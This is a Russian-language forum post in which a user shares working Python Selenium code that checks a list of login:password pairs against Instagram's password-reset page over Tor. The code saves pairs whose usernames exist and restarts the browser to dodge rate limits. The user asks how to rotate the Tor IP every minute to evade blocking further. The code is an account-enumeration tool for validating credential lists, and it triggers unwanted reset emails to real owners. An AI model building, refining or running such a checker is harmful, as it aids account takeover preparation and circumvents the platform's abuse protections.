Checker python Selenium

Govard

Новичок
Пользователь
Апр 21, 2020
22
4
3
Здравствуйте. Решил создать чекер аккаунтов инстаграм.
Подскажите пожалуйста, как можно менять ip при перезагрузке браузера. У меня стоит профиль Tor. То есть ip автоматически меняется каждые 10 минут. Как мне сделать так, чтобы ip менялось 1 раз в минуту. Возможно ли это вообще?

Python:
import time
from selenium import webdriver
from selenium.webdriver.firefox.firefox_profile import FirefoxProfile

# база почт
file = open('Good2.txt', encoding='utf-8-sig').read().split('\n')
# запись валидных аккаунтов
goods = open('good_acc.txt', 'a+')


def settings_browser():
    """ Настройки браузера FireFox. """
    profile = FirefoxProfile(r'C:\Users\ASUS\Desktop\Scrap\Tor Browser\Browser\TorBrowser\Data\Browser\profile.default')
    profile.set_preference('network.proxy.type', 1)
    profile.set_preference('network.proxy.socks', '127.0.0.1')
    profile.set_preference('network.proxy.socks_port', 9050)
    profile.set_preference("network.proxy.socks_remote_dns", False)
    # get a huge speed increase by not downloading images
    profile.set_preference("permissions.default.image", 2)
    profile.update_preferences()
    return profile


def check_email():
    """ Принимает всплывающее окно куки. Чекает валидность почт, если почта валидна, то сохраняет в файл 'good_acc.txt'. """

    driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe')

    for login in file:
        driver.get("https://www.instagram.com/accounts/password/reset/")

        body = driver.find_elements_by_class_name('pbNvD.FrS-d.gD9tr')

        for bd in body:
            if bd.find_element_by_class_name('aOOlW.bIiDR').text == 'Принять все':
                bd.find_element_by_class_name('aOOlW.bIiDR').click()
                time.sleep(7)

        authorization = driver.find_elements_by_class_name("AHCwU")
        pops = driver.find_elements_by_class_name("_-rjm")

        username = login.split(":")[0]
        password = login.split(":")[1]

        for data in authorization:
            # почта логин
            data_login = data.find_element_by_name('cppEmailOrUsername')
            data_login.click()
            data_login.send_keys(username)

            time.sleep(1)

            # кнопка входа
            clock_button = data.find_element_by_class_name('sqdOP.L3NKy.y3zKF')
            clock_button.click()

            time.sleep(2)

            for pop in pops:
                if 'Мы отправили ссылку для восстановления' in pop.find_element_by_class_name('tA2fc').text:
                    # Почта зарегана
                    goods.write(username + ' : ' + password + '\n')
                    print('Валидный аккаунт ' + username + ' : ' + password)

                elif 'Подождите несколько минут, прежде чем пытаться снова.' in pop.find_element_by_class_name('tA2fc').text:
                    driver.quit()
                    driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe')
                    print('Успешная перезагрузка драйвера из-за "Подождите несколько минут, прежде чем пытаться снова."')

                elif 'feedback_required' in pop.find_element_by_class_name('tA2fc').text:
                    driver.quit()
                    driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe')
                    print('Успешная перезагрузка драйвера из-за "feedback_required"')
                else:
                    # Почта не зарегана
                    print(f"Не валидный аккаунт " + username)
    goods.close()


def main():
    check_email()


if __name__ == '__main__':
    main()
 

Форум IT Специалистов